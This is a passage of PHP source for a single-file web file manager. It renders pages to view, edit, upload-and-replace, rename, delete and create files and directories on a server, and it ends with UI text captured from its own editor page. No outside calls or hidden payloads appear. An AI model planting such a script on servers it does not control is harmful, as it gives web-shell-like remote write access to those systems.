=> 'edit', 'f' => $r['rel']])) . '">Edit</a>'; echo '<a href="' . h(url(['a' => 'download', 'f' => $r['rel']])) . '">Download</a>'; echo '<a href="' . h(url(['a' => 'replace', 'f' => $r['rel']])) . '">Replace</a>'; } echo '<a href="' . h(url(['a' => 'rename', 'f' => $r['rel']])) . '">Rename</a>'; echo '<a style="color:#ff9b9b" href="' . h(url(['a' => 'delete', 'f' => $r['rel']])) . '">Delete</a>'; echo '</td></tr>'; } echo '</tbody></table>'; page_foot(); } function render_view(string $f): void { global $CFG; $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs)) { page_top('View'); msg_box(); echo '<div class="msg err">File not found: ' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← Back to directory</a></p>'; page_foot(); return; } $name = basename($abs); $size = (int)@filesize($abs); page_top('View ' . $name); msg_box(); echo '<div class="bar"><div class="brand">👁 View: ' . h($name) . '</div>'; echo '<div class="kv">Path: <code>' . h($abs) . '</code></div>'; echo '<div class="kv">Size: ' . h(fmt_size($size)) . ' · Modified: ' . h(fmt_time((int)@filemtime($abs))) . ' · Perm: ' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? 'Writable' : 'Read-only') . '</div>'; echo '<div class="toolbar">'; echo '<a class="btn p" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← Back to directory</a>'; echo '<a class="btn" href="' . h(url(['a' => 'download', 'f' => $f])) . '">⬇ Download</a>'; echo '<a class="btn" href="' . h(url(['a' => 'edit', 'f' => $f])) . '">✏️ Edit</a>'; echo '<a class="btn" href="' . h(url(['a' => 'replace', 'f' => $f])) . '">⬆ UploadReplace</a>'; echo '<a class="btn" href="' . h(url(['a' => 'rename', 'f' => $f])) . '">🏷 Rename</a>'; echo '<a class="btn d" href="' . h(url(['a' => 'delete', 'f' => $f])) . '">🗑 Delete</a>'; echo '</div></div>'; if (is_image_ext($name)) { echo '<div class="panel"><img class="preview" src="' . h(url(['a' => 'raw', 'f' => $f])) . '" alt="' . h($name) . '"></div>'; page_foot(); return; } $max = (int)$CFG['max_edit_bytes']; if ($size > $max) { echo '<div class="msg err">File exceeds ' . h(fmt_size($max)) . ', not previewed here; please download it.</div>'; page_foot(); return; } $content = (string)@file_get_contents($abs); if ((!is_text_ext($name) && looks_binary($content)) || str_contains($content, "\0")) { echo '<div class="msg err">Binary file, cannot preview as text. Please download it.</div>'; page_foot(); return; } echo '<div class="panel"><pre class="view">' . h($content) . '</pre></div>'; page_foot(); } function render_edit(string $f): void { global $CFG; $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs)) { page_top('Edit'); msg_box(); echo '<div class="msg err">File not found: ' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← Back to directory</a></p>'; page_foot(); return; } $name = basename($abs); $size = (int)@filesize($abs); $max = (int)$CFG['max_edit_bytes']; $tooBig = ($size > $max); $content = $tooBig ? '' : (string)@file_get_contents($abs); $binary = (!$tooBig && !is_text_ext($name) && looks_binary($content)); page_top('Edit ' . $name); msg_box(); echo '<div class="bar"><div class="brand">✏️ Edit: ' . h($name) . '</div>'; echo '<div class="kv">Path: <code>' . h($abs) . '</code></div>'; echo '<div class="kv">Size: ' . h(fmt_size($size)) . ' · Modified: ' . h(fmt_time((int)@filemtime($abs))) . ' · Perm: ' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? 'Writable' : 'Read-only (save will fail)') . '</div>'; echo '<div class="toolbar">'; echo '<a class="btn p" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← Back to directory</a>'; echo '<a class="btn" href="' . h(url(['a' => 'view', 'f' => $f])) . '">👁 View</a>'; echo '<a class="btn" href="' . h(url(['a' => 'download', 'f' => $f])) . '">⬇ Download</a>'; echo '</div></div>'; if ($tooBig) { echo '<div class="msg err">File exceeds the online edit limit ' . h(fmt_size($max)) . '; download and edit locally, then write it back with "Upload & replace".</div>'; page_foot(); return; } if ($binary) { echo '<div class="msg err">Binary content detected; saving may corrupt the file. Use "Upload & replace" instead.</div>'; } echo '<form method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="save">'; echo '<input type="hidden" name="f" value="' . h($f) . '">'; echo csrf_field(); echo '<textarea name="content" spellcheck="false">' . h($content) . '</textarea>'; echo '<div class="toolbar"><button class="btn p" type="submit">💾 Save</button>'; echo '<a class="btn" href="' . h(url(['a' => 'view', 'f' => $f])) . '">Cancel</a>'; echo '<span class="kv">Save as UTF-8, newlines normalized to LF</span></div>'; echo '</form>'; page_foot(); } function render_replace(string $f): void { $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs)) { page_top('UploadReplace'); msg_box(); echo '<div class="msg err">File not found: ' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← Back to directory</a></p>'; page_foot(); return; } $parent = parent_rel($f); if ($parent === null) { $parent = ''; } page_top('UploadReplace ' . basename($abs)); msg_box(); echo '<div class="bar"><div class="brand">⬆ Upload & replace: ' . h(basename($abs)) . '</div>'; echo '<div class="kv">Target file: <code>' . h($abs) . '</code></div>'; echo '<div class="kv">Current size: ' . h(fmt_size((int)@filesize($abs))) . ' · Perm: ' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? 'Writable' : 'Not writable (replace will fail)') . '</div>'; echo '</div>'; echo '<div class="panel"><h3>Choose a local file to overwrite this file</h3>'; echo '<form class="inline" method="post" action="' . basename(__FILE__) . '" enctype="multipart/form-data">'; echo '<input type="hidden" name="a" value="upload">'; echo '<input type="hidden" name="mode" value="replace">'; echo '<input type="hidden" name="p" value="' . h($parent) . '">'; echo '<input type="hidden" name="name" value="' . h(basename($abs)) . '">'; echo csrf_field(); echo '<input type="file" name="file" required>'; echo '<button class="btn p" type="submit">Upload and replace</button>'; echo '<a class="btn" href="' . h(url(['a' => 'view', 'f' => $f])) . '">Cancel</a>'; echo '</form>'; echo '<div class="kv">The original file will be fully overwritten; this cannot be undone.</div>'; echo '</div>'; page_foot(); } function render_mkdir_page(string $rel): void { global $QS; page_top('New directory'); msg_box(); echo '<div class="bar"><div class="brand">➕ Create a directory below</div>'; echo '<div class="kv">Location: <code>' . h(disp_path($rel)) . '</code></div></div>'; echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="mkdir"><input type="hidden" name="p" value="' . h($rel) . '">'; echo csrf_field(); echo '<input type="text" name="name" placeholder="Directory name" required autofocus>'; echo '<button class="btn p" type="submit">Create</button>'; echo '<a class="btn" href="' . h(url(array_merge(['p' => $rel], $QS))) . '">Back</a>'; echo '</form></div>'; page_foot(); } function render_newfile_page(string $rel): void { global $QS; page_top('New file'); msg_box(); echo '<div class="bar"><div class="brand">📄 Create a file below</div>'; echo '<div class="kv">Location: <code>' . h(disp_path($rel)) . '</code></div></div>'; echo '<div class="panel"><form method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="newfile"><input type="hidden" name="p" value="' . h($rel) . '">'; echo csrf_field(); echo '<div class="toolbar"><input type="text" name="name" placeholder="file name, e.g. index.php" required autofocus>'; echo '<label class="chk"><input type="checkbox" name="overwrite" value="1"> Overwrite existing file</label></div>'; echo '<textarea name="content" spellcheck="false" placeholder="Initial content (optional)"></textarea>'; echo '<div class="toolbar"><button class="btn p" type="submit">Create</button>'; echo '<a class="btn" href="' . h(url(array_merge(['p' => $rel], $QS))) . '">Back</a></div>'; echo '</form></div>'; page_foot(); } function render_rename_page(string $f): void { $abs = resolve_path($f); if ($f === '' || $abs === null || !file_exists($abs)) { page_top('Rename'); msg_box(); echo '<div class="msg err">Target not found: ' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← Back to directory</a></p>'; page_foot(); return; } $parent = parent_rel($f); if ($parent === null) { $parent = ''; } page_top('Rename'); msg_box(); echo '<div class="bar"><div class="brand">🏷 Rename</div>'; echo '<div class="kv">Original path: <code>' . h($abs) . '</code></div></div>'; echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="rename"><input type="hidden" name="f" value="' . h($f) . '">'; echo csrf_field(); echo '<input type="text" name="newname" value="' . h(basename($abs)) . '" required autofocus>'; echo '<button class="btn p" type="submit">Rename</button>'; echo '<a class="btn" href="' . h(url(['p' => $parent])) . '">Back</a>'; echo '</form><div class="kv">You can only rename within the current directory; moving to another directory is not allowed.</div></div>'; page_foot(); } function render_delete_page(string $f): void { $abs = resolve_path($f); if ($f === '' || $abs === null || !file_exists($abs)) { page_top('Delete'); msg_box(); echo '<div class="msg err">Target not found: ' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(['p' => parent_rel($f) ?? ''])) . '">← Back to directory</a></p>'; page_foot(); return; } $parent = parent_rel($f); if ($parent === null) { $parent = ''; } $isDir = is_dir($abs); page_top('Confirm deletion'); msg_box(); echo '<div class="bar"><div class="brand">🗑 Confirm deletion</div>'; echo '<div class="kv">Target: <code>' . h($abs) . '</code>' . ($isDir ? ' (directory, including all its contents)' : '') . '</div></div>'; echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="delete"><input type="hidden" name="f" value="' . h($f) . '">'; echo csrf_field(); echo '<button class="btn d" type="submit">Confirm delete</button>'; echo '<a class="btn" href="' . h(url(['p' => $parent])) . '">Cancel</a>'; echo '</form><div class="kv">Deletion cannot be undone.</div></div>'; page_foot(); } switch ($act) { case 'view': render_view(gp('f', '')); break; case 'edit': render_edit(gp('f', '')); break; case 'replace': render_replace(gp('f', '')); break; case 'rename': render_rename_page(gp('f', '')); break; case 'delete': render_delete_page(gp('f', '')); break; case 'mkdir': render_mkdir_page($rel); break; case 'newfile': render_newfile_page($rel); break; default: render_list($rel); break; }
💾 Save
Cancel
Save as UTF-8, newlines normalized to LF